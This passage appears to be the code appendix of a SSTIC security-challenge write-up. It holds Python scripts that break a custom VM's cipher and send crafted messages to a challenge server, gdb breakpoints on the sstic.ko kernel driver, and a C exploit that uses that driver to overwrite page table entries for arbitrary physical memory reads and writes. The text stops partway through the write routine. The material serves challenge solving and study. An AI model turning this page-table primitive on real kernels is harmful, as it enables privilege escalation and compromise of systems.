		zeropos.append(0)
for i in range(0,lg):
		v = resi[i]
		for j in range(0,8):
			b = v & (0xFF<<(8*j))
			if b ==0:
				print("%d[0x%02X],%d"%(i,i-1,7-j))
				zeropos[7-j] = i
```

```
dump(zeropos)
fcho = open("in_zero.py","w")
fcho.write("vals = [ ")
for x in zeropos:
        fcho.write("0x%02X, "%x)
fcho.write("]\n")
fcho.close()
```

13. run_client_zero.py

```
import sys
import os
import imp
import time

def fdump(fch, vals):
        fch.write("[")
        for x in vals:
                fch.write("0x%02X, "%x)
        fch.write("],\n")

def dump(vals):
        for x in vals:
                print("0x%02X, "%x,end='')
        print('')

def set_vector(vals):
    #base=0x88
    with open("mem_cmds.txt","w") as fch:
        for i in range(0,8):
            #adr = base + i
            adr = i
            val = vals[i]
            #cmd = "set *(unsigned char*)0x7fffffffd6%02x=0x%02x"%(adr, val)
            cmd = "set *(unsigned char*)($rsp-0x80+0x08+0x%02x)=0x%02x"%(adr, val)
            #print(cmd)
            fch.write(cmd+'\n')

def run_guest(vals):
        set_vector(vals)
        os.system('./strt_gdb.sh')
        time.sleep(1)
        #import outgdb2
        imp.reload(outgdb2)
        #print(outgdb2.dta)
        dump(outgdb2.dta)

import outgdb2
import in_zero
run_guest(in_zero.vals)

#guest_out=list()
#guest_out.append(outgdb2.dta)
fcho = open("zero_cmd.txt","w")
fcho.write('cmd_lst = [\n')
#fcho.write(str(outgdb2.dta)+',\n')
fdump(fcho, outgdb2.dta)


fcho.write(']\n')
fcho.close()
```

14. client_drm_zero.py

```
import sys
import socket
import importlib

import zero_cmd

HOST = '127.0.0.1'
#HOST = '62.210.125.243'
PORT = 1337



def fdump(fch, vals):
	for x in vals:
		fch.write("0x%02X, "%x)
	fch.write("\n")

def dump(lst):
		for x in lst:
			print("0x%02X "%x,end='')
		print('\n')

def dump_bytes(barr):
		print(barr.hex())
		print('\n')
		for x in barr:
			print("0x%02X "%x,end='')
		print('\n')

def test_msg(dta):
		msg = bytes(dta)

		with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
			print('Connecting')
			s.connect((HOST, PORT))
			print('Connected')
			data = s.recv(1024)
			print('Received', repr(data))
			dump_bytes(data)
			if len(data) != 4:
				return(-1)

			s.sendall(msg)
			data = s.recv(1024)
			print('Received', repr(data))
			dump_bytes(data)
			if len(data) != 1:
				return(-1)

			code = data[0]
			if code == 1 or code == 2 or code == 3:
				data = s.recv(1024)
				print('Received', repr(data))
				if len(data) != 16:
					return(-1)
				dump_bytes(data)

		return(1)


cnt =0
for x in zero_cmd.cmd_lst:
		cnt += 1
		print(x)
		dump(x)
		res = 0
		while (res != 1):
			res = test_msg(x)
```

4. Level 4

1. Disas.py

```
import sys


insname = [ "ADD", "SUB", "LOADI", "AND", "OR", "XOR", "RSHIFT", "LSHIFT", "08??", "TEST", "ROTL", "RETURN", "JMPCOND", "CALL",
"LOADM", "STOREM"]

def disas(code):
	lg = len(code)
	print("code len:%d"%lg)
	for i in range(0, lg-1, 4):
		ins = code[i:i+4]
		icode = ins[0]&0x0F
		dsize = (ins[0]&0xF0)>>4
		mode = ins[1]
		addr = ins[3] *256 + ins[2]
		reg = (mode>>2)&0x7
		mode2 = mode & 0x3
		mode3 = (mode >> 0x5)
		dsizeT = (1<<(dsize))
		reg = (mode>>2)&0x7
		ptype = ['MEM_R', 'MEM ', 'REG', 'VAL ']
		#print("0x%02X "%icode, end='')
		print("0x%03X:[0x%02X] (mode:0x%02X,%d,%d,%d) %s"%(i,ins[0], mode, mode3, reg, mode2, insname[int(icode)]),
end='')
		if icode == 0x0C:  # JMPCOND
			print(" 0x%04X"%(addr))
		elif icode == 0x0D: #CALL
			print(" 0x%04X"%(addr))
		elif icode == 0x0E or icode == 0x00 or  icode == 0x05 or icode == 0x04 or icode == 0x03 or icode == 0x0F: # LOADM,
ADD, XOR, OR, AND, STOREM
			print("_%d REG[%d] %s [0x%04X]"%(dsizeT, reg, ptype[mode2], addr))
		elif icode == 0x09: #TEST
			ttest = ['==', '<', '>', '<=']
			print("_%d REG[%d] %s %s [0x%04X]"%(dsizeT, reg, ttest[mode3], ptype[mode2],addr))
		elif icode == 0x06 or icode == 0x07: # SHIFT
			print("_%d REG[%d] %s [0x%04X]"%(dsizeT, reg, ptype[mode2], addr))
		elif icode == 0x0A: #ROT
			print("_%d REG[%d] 0x%04X"%(dsizeT, reg, addr))
		elif icode == 0x02: #LOADI
			print("_%d REG[%d] 0x%04X"%(dsizeT, reg, addr))
		else:
			print(" 0x%04X"%(addr))
	print()

def XOR(v, k):
	for i in range(0,16):
		kb = (k >>((15-i)*8)) & 0xFF
		v[i] ^= kb
	return(v)

def decrypt_prog(key, prog):
	prog2 = bytearray(prog)
	for i in range(0x100, 0x300,16):
		v = prog2[i:i+16]
		#v ^= key
		v = XOR(v, key)
		prog2[i:i+16] = v
	return(prog2)


def load_prog():
    with open('progVM.bin',"rb") as fchp:
        data = fchp.read()
    lg = len(data)
    print("Prog Len: %d\n"%lg)
```

```
    return(data)

prog = load_prog()

key = 0x0e03050a0804090b000c0d070f020601
prog2 = decrypt_prog(key, prog)

disas(prog2)
```

2. findK.py

```
import sys
import struct


R220 = 0x0e870b8a1c04090b001c0d070f020601
R210 = 0x0e03040a88b3060b000b0d070f029600
R200 = 0x0e03070a9e040c0b2c0dd30774026801


def swap16(i):
  return struct.unpack("<H", struct.pack(">H", i))[0]
def swap32(i):
  return struct.unpack("<I", struct.pack(">I", i))[0]
def swap64(i):
  return struct.unpack("<Q", struct.pack(">Q", i))[0]

def test_220(val):
        mask = ((1<<64)-1)
        v = swap64(val >>64)
        r = swap64(R220 >>64)
        #print("%X"%v)
        #print("%X"%r)
        if (v>= r):
                return(-1)
        v = val & mask
        r = R220 & mask
        v = swap64(v)
        r = swap64(r)
        #print("%X"%v)
        #print("%X"%r)
        if (v>= r):
                return(-1)
        return(0)

def test_210(val):
        mask = ((1<<32)-1)
        for i in range(0,4):
                v = (val >>(32*i)) & mask
                r = (R210 >>(32*i)) & mask
                v = swap32(v)
                r = swap32(r)
                #print("%X"%v)
                #print("%X"%r)
                if (v <= r):
                        return(-1)
        return(0)

def test_200(val):
        mask = ((1<<16)-1)
        for i in range(0,8):
                v = (val >>(16*i)) & mask
                r = (R200 >>(16*i)) & mask
                v = swap16(v)
                r = swap16(r)
                #print("%X"%v)
                #print("%X"%r)
                if (v > r):
                        return(-1)
```

```
	return(0)

def tests(val):
	res=test_220(val)
	if res == 0:
		res=test_210(val)
	if res == 0:
		res=test_200(val)
	return(res)

def testsM(rvalL, rvalH):
	res=test_220(rvalL )
	if res == 0:
		res=test_210(rvalH )
	if res == 0:
		res=test_200(rvalL )
	return(res)

def get_imask(p):
	mask = 0
	for i in range(0,16):
		mask *=256
		if (i!=(15-p)):
			mask += 0xFF
	return(mask)
def addbyte(rval, el, p):
	pos= [0,8, 4 , 12, 2, 6, 10, 14, 1, 3, 5, 7, 9, 11, 13, 15]
	#print("pos=%d"%p)
	bpos = 8*pos[p]
	#print("bpos=%d"%bpos)
	#mask = 0xFF <<bpos
	#imask = ~mask
	imask= get_imask(pos[p])
	#print("0x%032X"%imask)
	nval = (rval & imask) | (el <<bpos)
	#print("el=%X, p=%d"%(el,p))
	#print("0x%032X"%rval)
	#print("0x%032X"%nval)
	return(nval)

gcnt = 0
def find_sol(p, lstv, rvalL, rvalH):
	global gcnt
	lg = len(lstv)
	#print("L=0x%032X"% rvalL)
	#print("H=0x%032X"% rvalH)
	#print(lstv)
	if lg == 0:
		#print("L=0x%032X"% rvalL)
		#print("H=0x%032X"% rvalH)
		gcnt += 1
		#print("gnt=%d"%gcnt)
		res = tests(rvalL)
		if res==0:
			print("L=0x%032X"% rvalL)
			print("H=0x%032X"% rvalH)
			print("gnt=%d"%gcnt)
			print("Found: 0x%032X"%rvalL)
			#sys.exit(1)
	for i in range(0, lg):
		el= lstv.pop(i)
		nrvalL  = addbyte(rvalL, el, p)
		nrvalH  = addbyte(rvalH, el, p)
		#gcnt += 1
		#if gcnt > 25000:
			#sys.exit(1)
		res = testsM(nrvalL, nrvalH)
		if res == 0:
			find_sol(p+1, lstv, nrvalL, nrvalH)
		lstv.insert(i, el)
```

```
res = tests( 0x0D03060A0F04090B0C020E0708000501)
print(res)

lvals = list()
for i in range(0,16):
	lvals.append(i)

rvalL = 0
rvalH = 0x0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f
find_sol(0, lvals, rvalL, rvalH)


"""
res = test_220( 0x0d870b8a1c04090b001c0d070f020501)
print(res)
res = test_210( 0x0f03040b88b3060c000b0d080f029601)
print(res)
res = test_200( 0x0e03070a9e040c0b2c0dd30774026801)
print(res)
"""
#res = tests( 0x0e03070a9e040c0b2c0dd30774026801)
#print(res)
```

3. progVM.py

```
import sys
import struct



def swap32(i):
  return struct.unpack("<I", struct.pack(">I", i))[0]


def show_regs(R0,R1,R2,R3):
	print("R0=0x%032X"%R0)
	print("R1=0x%032X"%R1)
	print("R2=0x%032X"%R2)
	print("R3=0x%032X"%R3)
	print()

def shiftL4(val, nb):
	res = 0
	for i in range(0,4):
		res <<=32
		#v = val[4*i:4*(i+1)]
		v = (val & (0xFFFFFFFF << (32*(3-i))) ) >> ((32*(3-i)))
		vs = swap32(v)
		nv = (vs<<nb) & 0xFFFFFFFF
		nvs = swap32(nv)
		res += nvs
	return(res)

def shiftR4(val, nb):
	res = 0
	for i in range(0,4):
		res <<=32
		#v = val[4*i:4*(i+1)]
		v = (val & (0xFFFFFFFF << (32*(3-i))) ) >> ((32*(3-i)))
		vs = swap32(v)
		nv = (vs>>nb) & 0xFFFFFFFF
		nvs = swap32(nv)
		res += nvs
	return(res)

def add4(vA, vB):
	res = 0
	for i in range(0,4):
		res <<=32
		#v = val[4*i:4*(i+1)]
```

```
                        wA = (vA & (0xFFFFFFFF << (32*(3-i))) ) >> ((32*(3-i)))
                        wB = (vB & (0xFFFFFFFF << (32*(3-i))) ) >> ((32*(3-i)))
                        wAs = swap32(wA)
                        wBs = swap32(wB)
                        w = (wAs + wBs) & 0xFFFFFFFF
                        nws = swap32(w)
                        res += nws
        return(res)

def func_crypt(R0, R1, R2, R3):
        #R0 += R1
        R0 = add4(R0, R1)
        R3 ^= R0
        #show_regs(R0,R1,R2,R3)
        #sys.exit(1)
        R5 = R3
        R5 = shiftL4(R5, 0x10)
        R3 = shiftR4(R3, 0x10)
        R3 |= R5
        #show_regs(R0,R1,R2,R3)
        #sys.exit(1)

        #R2 += R3
        R2 = add4(R2, R3)
        R1 ^= R2
        #show_regs(R0,R1,R2,R3)
        R5 = R1
        #show_regs(R0,R1,R2,R3)
        R5 = shiftL4(R5, 0x0C)
        #print("R5=0x%032X"%R5)
        R1 = shiftR4(R1, 0x14)
        #print("R1=0x%032X"%R1)
        R1 |= R5

        #show_regs(R0,R1,R2,R3)
        #sys.exit(1)

        #R0 += R1
        R0 = add4(R0, R1)
        R3 ^= R0
        R5 = R3
        R5 = shiftL4(R5, 0x08)
        R3 = shiftR4(R3, 0x18)
        R3 |= R5
        #show_regs(R0,R1,R2,R3)
        #sys.exit(1)

        #R2 += R3
        R2 = add4(R2, R3)
        R1 ^= R2
        R5 = R1
        R5 = shiftL4(R5, 0x07)
        R1 = shiftR4(R1, 0x19)
        R1 |= R5

        R0 &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
        R1 &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
        R2 &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
        R3 &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
        return(R0, R1, R2, R3)

def RotL(n, d):
        d*=8*4
        return ((n << d)|(n >> (128 - d))) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF

def prog(I0, I1, I2, I3):
        R0 = I0
        R1 = I1
        R2 = I2
        R3 = I3
        for i in range(0, 0x14):
```

```
                        show_regs(R0,R1,R2,R3)
                        if ((i&1) == 0) :
                                (R0,R1,R2,R3)=func_crypt(R0, R1, R2, R3)
                        else:
                                #print("RR1=0x%032X"%R1)
                                R1=RotL(R1,1)
                                #print("RR1=0x%032X"%R1)
                                R2=RotL(R2,2)
                                R3=RotL(R3,3)
                                (R0,R1,R2,R3)=func_crypt(R0, R1, R2, R3)
                                R3=RotL(R3,1)
                                R2=RotL(R2,2)
                                R1=RotL(R1,3)

        show_regs(R0,R1,R2,R3)
        return(R0, R1, R2, R3)

def load_16b(data):
        val =0
        for i in range(0, 16):
                val *=256
                val += data[i]
        return(val)

def get_16b(val, data):
        for i in range(0, 16):
                b = (val >> ((15-i)*8))&0xFF
                data.append(b)
        return(data)

C0 = 0x12540fe0daa06b0cd02e3fdb0fbfe29f
C1 = 0xc9efe2be7f200c4cf689b2d098866ac5
C2 = 0x160515dcbf015429b9e90f35fddde3b1
C3 = 0x1d6144ac58b2c7d4a61c9022a59af1c2
def progF(indata):
        I0 = load_16b(indata)
        I1 = load_16b(indata[16:])
        I2 = load_16b(indata[32:])
        I3 = load_16b(indata[48:])
        (O0,O1,O2,O3)=prog(I0, I1, I2, I3)

        O0=add4(O0,0x00200000000000000000000000000000)
        print("O0=0x%032X"%O0)
        O0 ^= C0
        print("O0=0x%032X"%O0)
        O1=add4(O1,0x10200000000000000000000000000000)
        O1 ^= C1
        print("O1=0x%032X"%O1)
        O2=add4(O2,0x20200000000000000000000000000000)
        O2 ^= C2
        print("O2=0x%032X"%O2)
        O3=add4(O3,0x30200000000000000000000000000000)
        O3 ^= C3
        print("O3=0x%032X"%O3)

        """
        O0 = (O0+0x2000) ^ C0
        O1 = (O1+0x2010) ^ C1
        O2 = (O2+0x2020) ^ C2
        O3 = (O3+0x2030) ^ C3
        """

        res = bytearray()
        res = get_16b(O0, res)
        res = get_16b(O1, res)
        res = get_16b(O2, res)
        res = get_16b(O3, res)
        return(res)

"""
#v = 0x1d6144ac58b2c7d4a61c9022a59af1c2
```

```
v = 0x565750555a5b44415e5f585d22235c59
tt = shiftL4(v, 12)
ttr = shiftR4(v, 24)
print("0x%032X"%v)
print("0x%032X"%tt)
print("0x%032X"%ttr)
sys.exit(1)
"""

in_data2 = bytearray(80)
for i in range(0,80):
      in_data2[i] = i

res = progF(in_data2)
for i in range(0,64):
            if i%16==0:
                  print()
            print("0x%02X,"%res[i],end='')
print()
```

4. invprogVM.py

```
import sys
import struct


def swap32(i):
  return struct.unpack("<I", struct.pack(">I", i))[0]


def show_regs(R0,R1,R2,R3):
            print("R0=0x%032X"%R0)
            print("R1=0x%032X"%R1)
            print("R2=0x%032X"%R2)
            print("R3=0x%032X"%R3)
            print()

def shiftL4(val, nb):
            res = 0
            for i in range(0,4):
                  res <<=32
                  #v = val[4*i:4*(i+1)]
                  v = (val & (0xFFFFFFFF << (32*(3-i))) ) >> ((32*(3-i)))
                  vs = swap32(v)
                  nv = (vs<<nb) & 0xFFFFFFFF
                  nvs = swap32(nv)
                  res += nvs
            return(res)

def shiftR4(val, nb):
            res = 0
            for i in range(0,4):
                  res <<=32
                  #v = val[4*i:4*(i+1)]
                  v = (val & (0xFFFFFFFF << (32*(3-i))) ) >> ((32*(3-i)))
                  vs = swap32(v)
                  nv = (vs>>nb) & 0xFFFFFFFF
                  nvs = swap32(nv)
                  res += nvs
            return(res)

def add4(vA, vB):
            res = 0
            for i in range(0,4):
                  res <<=32
                  #v = val[4*i:4*(i+1)]
                  wA = (vA & (0xFFFFFFFF << (32*(3-i))) ) >> ((32*(3-i)))
                  wB = (vB & (0xFFFFFFFF << (32*(3-i))) ) >> ((32*(3-i)))
                  wAs = swap32(wA)
                  wBs = swap32(wB)
```

```
                w = (wAs + wBs) & 0xFFFFFFFF
                nws = swap32(w)
                res += nws
        return(res)

def sub4(vA, vB):
        res = 0
        for i in range(0,4):
                res <<=32
                #v = val[4*i:4*(i+1)]
                wA = (vA & (0xFFFFFFFF << (32*(3-i))) ) >> ((32*(3-i)))
                wB = (vB & (0xFFFFFFFF << (32*(3-i))) ) >> ((32*(3-i)))
                wAs = swap32(wA)
                wBs = swap32(wB)
                w = (wAs - wBs) & 0xFFFFFFFF
                nws = swap32(w)
                res += nws
        return(res)

def func_crypt(R0, R1, R2, R3):
        #R0 += R1
        R0 = add4(R0, R1)
        R3 ^= R0
        #show_regs(R0,R1,R2,R3)
        #sys.exit(1)
        R5 = R3
        R5 = shiftL4(R5, 0x10)
        R3 = shiftR4(R3, 0x10)
        R3 |= R5
        #show_regs(R0,R1,R2,R3)
        #sys.exit(1)

        #R2 += R3
        R2 = add4(R2, R3)
        R1 ^= R2
        #show_regs(R0,R1,R2,R3)
        R5 = R1
        #show_regs(R0,R1,R2,R3)
        R5 = shiftL4(R5, 0x0C)
        #print("R5=0x%032X"%R5)
        R1 = shiftR4(R1, 0x14)
        #print("R1=0x%032X"%R1)
        R1 |= R5

        #show_regs(R0,R1,R2,R3)
        #sys.exit(1)

        #R0 += R1
        R0 = add4(R0, R1)
        R3 ^= R0
        R5 = R3
        R5 = shiftL4(R5, 0x08)
        R3 = shiftR4(R3, 0x18)
        R3 |= R5
        #show_regs(R0,R1,R2,R3)
        #sys.exit(1)

        #R2 += R3
        R2 = add4(R2, R3)
        R1 ^= R2
        R5 = R1
        R5 = shiftL4(R5, 0x07)
        R1 = shiftR4(R1, 0x19)
        R1 |= R5

        R0 &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
        R1 &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
        R2 &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
        R3 &= 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
        return(R0, R1, R2, R3)
```

```
def func_cryptI(R0, R1, R2, R3):
	R5 = R1
	R5 = shiftL4(R5, 32-0x07)
	R1 = shiftR4(R1, 32-0x19)
	R1 |= R5
	R1 ^= R2
	R2 = sub4(R2, R3)

	R5 = R3
	R5 = shiftL4(R5, 32-0x08)
	R3 = shiftR4(R3, 32-0x18)
	R3 |= R5
	R3 ^= R0
	R0 = sub4(R0, R1)

	R5 = R1
	R5 = shiftL4(R5, 32-0x0C)
	R1 = shiftR4(R1, 32-0x14)
	R1 |= R5
	R1 ^= R2
	R2 = sub4(R2, R3)

	R5 = R3
	R5 = shiftL4(R5, 32-0x10)
	R3 = shiftR4(R3, 32-0x10)
	R3 |= R5
	R3 ^= R0
	R0 = sub4(R0, R1)

	return(R0, R1, R2, R3)

def RotL(n, d):
	d*=8*4
	return ((n << d)|(n >> (128 - d))) & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF

def prog(I0, I1, I2, I3):
	R0 = I0
	R1 = I1
	R2 = I2
	R3 = I3
	for i in range(0, 0x14):
		show_regs(R0,R1,R2,R3)
		if ((i&1) == 0) :
			(R0,R1,R2,R3)=func_crypt(R0, R1, R2, R3)
		else:
			#print("RR1=0x%032X"%R1)
			R1=RotL(R1,1)
			#print("RR1=0x%032X"%R1)
			R2=RotL(R2,2)
			R3=RotL(R3,3)
			(R0,R1,R2,R3)=func_crypt(R0, R1, R2, R3)
			R3=RotL(R3,1)
			R2=RotL(R2,2)
			R1=RotL(R1,3)

	show_regs(R0,R1,R2,R3)
	return(R0, R1, R2, R3)

def progI(I0, I1, I2, I3):
	R0 = I0
	R1 = I1
	R2 = I2
	R3 = I3
	#for i in range(0, 0x14):
	for i in range(0x13, -1, -1):
		show_regs(R0,R1,R2,R3)
		if ((i&1) == 0) :
			(R0,R1,R2,R3)=func_cryptI(R0, R1, R2, R3)
		else:
			#print("RR1=0x%032X"%R1)
			R1=RotL(R1,1)
```

```
                                #print("RR1=0x%032X"%R1)
                                R2=RotL(R2,2)
                                R3=RotL(R3,3)
                                (R0,R1,R2,R3)=func_cryptI(R0, R1, R2, R3)
                                R3=RotL(R3,1)
                                R2=RotL(R2,2)
                                R1=RotL(R1,3)

        show_regs(R0,R1,R2,R3)
        return(R0, R1, R2, R3)

def load_16b(data):
        val =0
        for i in range(0, 16):
                val *=256
                val += data[i]
        return(val)

def get_16b(val, data):
        for i in range(0, 16):
                b = (val >> ((15-i)*8))&0xFF
                data.append(b)
        return(data)

C0 = 0x12540fe0daa06b0cd02e3fdb0fbfe29f
C1 = 0xc9efe2be7f200c4cf689b2d098866ac5
C2 = 0x160515dcbf015429b9e90f35fddde3b1
C3 = 0x1d6144ac58b2c7d4a61c9022a59af1c2
def progF(indata):
        I0 = load_16b(indata)
        I1 = load_16b(indata[16:])
        I2 = load_16b(indata[32:])
        I3 = load_16b(indata[48:])
        (O0,O1,O2,O3)=prog(I0, I1, I2, I3)

        O0=add4(O0,0x00200000000000000000000000000000)
        print("O0=0x%032X"%O0)
        O0 ^= C0
        print("O0=0x%032X"%O0)
        O1=add4(O1,0x10200000000000000000000000000000)
        O1 ^= C1
        print("O1=0x%032X"%O1)
        O2=add4(O2,0x20200000000000000000000000000000)
        O2 ^= C2
        print("O2=0x%032X"%O2)
        O3=add4(O3,0x30200000000000000000000000000000)
        O3 ^= C3
        print("O3=0x%032X"%O3)

        """
        O0 = (O0+0x2000) ^ C0
        O1 = (O1+0x2010) ^ C1
        O2 = (O2+0x2020) ^ C2
        O3 = (O3+0x2030) ^ C3
        """

        res = bytearray()
        res = get_16b(O0, res)
        res = get_16b(O1, res)
        res = get_16b(O2, res)
        res = get_16b(O3, res)
        return(res)

def progFI(indata):
        I0 = load_16b(indata)
        I1 = load_16b(indata[16:])
        I2 = load_16b(indata[32:])
        I3 = load_16b(indata[48:])

        I0 ^= C0
        I1 ^= C1
```

```
		I2 ^= C2
		I3 ^= C3
		I0=sub4(I0,0x0020000000000000000000000000000000)
		I1=sub4(I1,0x1020000000000000000000000000000000)
		I2=sub4(I2,0x2020000000000000000000000000000000)
		I3=sub4(I3,0x3020000000000000000000000000000000)

		(O0,O1,O2,O3)=progI(I0, I1, I2, I3)

		print("O0=0x%032X"%O0)
		print("O0=0x%032X"%O0)
		print("O1=0x%032X"%O1)
		print("O2=0x%032X"%O2)
		print("O3=0x%032X"%O3)

		res = bytearray()
		res = get_16b(O0, res)
		res = get_16b(O1, res)
		res = get_16b(O2, res)
		res = get_16b(O3, res)
		return(res)

"""
#v = 0x1d6144ac58b2c7d4a61c9022a59af1c2
v = 0x565750555a5b44415e5f585d22235c59
tt = shiftL4(v, 12)
ttr = shiftR4(v, 24)
print("0x%032X"%v)
print("0x%032X"%tt)
print("0x%032X"%ttr)
sys.exit(1)
"""

in_data2 = bytearray(80)
for i in range(0,80):
	in_data2[i] = i

res1 = progF(in_data2)
res = progFI(res1)
for i in range(0,64):
		if i%16==0:
			print()
		print("0x%02X,"%res[i],end='')
print()

in_data2 = bytearray(80)
for i in range(0,80):
	in_data2[i] = 0xFF
	#in_data2[i] = 0x00
password = "EXECUTE FILE OK!"
for i in range(0,16):
	in_data2[48+i] = ord(password[i])

res = progFI(in_data2)
for i in range(0,64):
		if i%16==0:
			print()
		print("0x%02X,"%res[i],end='')
print()
```

5. Level 5

1. Gdb_cmds.txt

Configuration gdb pour l'analyse dynamique du driver sstic.ko.

```
set $sstic_vm_fault = 0xffffffffc02c0030
set pagination off

b *($sstic_vm_fault + 0x03)
commands
silent
echo vm_fault\n
echo vma\n
print /x $r8
continue
end

b *($sstic_vm_fault + 0x28)
commands
silent
echo page\n
print /x $rdx
x /8bx $rdx+0x34
continue
end


b *($sstic_vm_fault+0xE0)
commands
silent
echo vm_open\n
print /x $rdi
echo vma\n
x /16bx $rdi
continue
end

b *($sstic_vm_fault+0xE0+0xD)
commands
silent
echo Ophyreg0\n
x /88bx $rbx
continue
end

b *($sstic_vm_fault+0xE0+0xAF)
commands
silent
echo Nphyreg\n
x /88bx $rbp
echo Ophyreg\n
x /88bx $rbx
continue
end

b *($sstic_vm_fault-0x30)
commands
silent
echo vm_split\n
print /x $rdi
print /x $rsi
continue
end

b *($sstic_vm_fault+0x390)
commands
silent
echo vm_close\n
print /x $rdi
continue
end

b *($sstic_vm_fault+0x5b0)
commands
silent
echo alloc_region\n
continue
```

```
end

b *($sstic_vm_fault+0x1f0)
commands
silent
echo mmap\n
print /x $rsi
echo vma\n
x /16bx $rsi
continue
end

b *($sstic_vm_fault+0x1f0+0x10b)
commands
silent
echo phyreg\n
x /88bx $r8
continue
end

b *($sstic_vm_fault+0x330)
commands
silent
echo free_phy_region\n
print /x $rdi
x /88bx $rdi-0x14
continue
end

b *($sstic_vm_fault+0x330+0x3D)
commands
silent
echo page ref_count\n
print /x $rdi
x /8bx $rdi+0x34
continue
end

b *($sstic_vm_fault+0x330+0x3F)
commands
silent
echo _put_page\n
print /x $rdi
continue
end

b *($sstic_vm_fault+0x4b0)
commands
silent
echo free_sstic_session\n
continue
end

b *($sstic_vm_fault+0x420)
commands
silent
echo free_sstic_region\n
continue
end

b *($sstic_vm_fault+0xB0)
commands
silent
echo alloc_phy_region\n
continue
end
```

2. tst_driverR10.c

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>

#include <sys/types.h>
```

```
#include <sys/wait.h>
#include <string.h>
#include <stdint.h>



unsigned char * g_lptr[10];
int g_i_mod=-1;
int g_j_mod=-1;
unsigned char *g_addr0B;

uint64_t pte_orig;
unsigned char pte_sav[4096];


/***********************************/
int readKey(int fd, unsigned long long fileID)
{
	int res;
	int i;
	unsigned char param[32];
	unsigned long long *pfileID;

	pfileID = (unsigned long long *) param;
	*pfileID = fileID;

		// Get debug state
	res=ioctl(fd,0xc0185305, &param);
	printf("res=%d\n",res);
		printf("dbg state=%d\n",param[0]);

	*pfileID = fileID;
	res=ioctl(fd,0xc0185304, &param);
	printf("res=%d\n",res);
	printf("p0=0x%llX\n",pfileID[0]);
	for (i=0; i<24; i++) {
		printf("0x%02X ",param[i]);
	}
	printf("\n");
}
/***********************************/
int turnoff_debugmode(int fd)
{
	int res;
	unsigned char param[32];


		// submit command : modified to turn off debug mode
	res=ioctl(fd,0xc0185303, &param);
	printf("res=%d\n",res);


}
/***********************************/
int browse_mem(int num)
{
	int i;
	int j;
	int k;
	unsigned char *ptr;
	int res = 0;

	for (i=0; i<num; i++) {
		ptr=g_lptr[i];
		for (j=0; j<100; j++) {
			if (ptr[j*4096]!=j) {
				//printf("change detected: %d,%d\n",i,j);
				//printf("Found:%d\n",ptr[j*4096]);
				res=1;
			}
```

```
                for (k=0; k<4095; k++) {
                    if (ptr[4096*j+1+k] != 0xCD +i) {
                        //printf("change2 detected: %d,%d,%d\n",i,j,k);
                        //printf("Found:%d\n",ptr[j*4096+1+k]);
                        //printf("ptrs: %p, %p\n",ptr,&ptr[j*4096+1+k]);
                        //dump_mem(&ptr[j*4096+1+k],32);
                        res = 1;
                    }
                }
            }
        }
        return(0);
}


/***********************************/
int dump_mem(unsigned char *ptr, int nb)
{
        int i;
        for (i=0; i<nb; i++) {
                if ((i%16)==0)
                        printf("\n");
                printf("0x%02X ",ptr[i]);

        }
        printf("\n");

}
/***********************************/
int check_mem(int num)
{
        int i;
        int j;
        int k;
        unsigned char *ptr;

        for (i=0; i<num; i++) {
                ptr=g_lptr[i];
                for (j=0; j<100; j++) {
                        if (ptr[j*4096]!=j) {
                                //printf("change detected: %d,%d\n",i,j);
                                //printf("Found:%d\n",ptr[j*4096]);
                                g_i_mod = i;
                                g_j_mod = j;
                                return(-1);
                        }

                        for (k=0; k<4095; k++) {
                                if (ptr[4096*j+1+k] != 0xCD +i) {
                                        //printf("change2 detected: %d,%d,%d\n",i,j,k);
                                        //printf("Found:%d\n",ptr[j*4096+1+k]);
                                        //printf("ptrs: %p, %p\n",ptr,&ptr[j*4096+1+k]);
                                        //dump_mem(&ptr[j*4096+1+k],32);
                                        return(-1);
                                }
                        }
                }
        }
        return(0);
}
/***********************************/
int fill_memory(int num)
{
        int i;
        int j;
        unsigned char *ptr;

#define BSIZE 409600

        for (i=0; i<num; i++) {
                ptr= (unsigned char *)malloc(BSIZE);
```

```
                        //printf("ptr=%p\n",ptr);
                        g_lptr[i]=ptr;
                        if (ptr != NULL ) {
                                for (j=0; j<100; j++) {
                                        ptr[j*4096]=j;
                                        memset(ptr+4096*j+1, 0xCD+i, 4095);
                                }
                        } else {
                                break;
                        }
        }

}
/***********************************/
int trigger_child()
{
        int pid;
        int status;

        if ((pid = fork()) == 0) {
                //printf("in child process\n");
                sleep(1);
                exit(1);
        } else {
                printf("in parent process\n");
                wait(&status);
                return(0);
        }
}
/***********************************/
int restore_pte()
{

    memcpy((g_addr0B+0x3000), pte_sav, 4096);

        return(0);
}
/***********************************/
int PEEKP(uint64_t paddr, uint64_t *val)
{
        unsigned char *ptr;
        uint64_t pgaddr;
        uint64_t *pte_addr;
        int off7;
        uint64_t *pv64;

        pgaddr = paddr & 0xFFFFFFFFFFFFF000;
        off7 = paddr & 0xFFF;

        pte_addr = (uint64_t *)(g_addr0B+0x3000);

        *pte_addr = (pgaddr|0x67 | 0x8000000000000000);


        ptr = g_lptr[g_i_mod]+(4096*g_j_mod);
        ptr = (unsigned char *) ( (uint64_t)ptr & 0xFFFFFFFFFFFFF000);
        pv64 = (uint64_t *) (ptr+off7);

        check_mem(10);
        *val = *pv64;
        return(0);
}
/***********************************/
int POKEP(uint64_t paddr, uint64_t val)
{
        unsigned char *ptr;
        uint64_t pgaddr;
        uint64_t *pte_addr;
        int off7;
        uint64_t *pv64;
        uint64_t oval;
```

```
	uint64_t nval;

	printf("POKE paddr:0x%0lX\n",paddr);
	pgaddr = paddr & 0xFFFFFFFFFFFFF000;
	off7 = paddr & 0xFFF;

	pte_addr = (uint64_t *)(g_addr0B+0x3000);

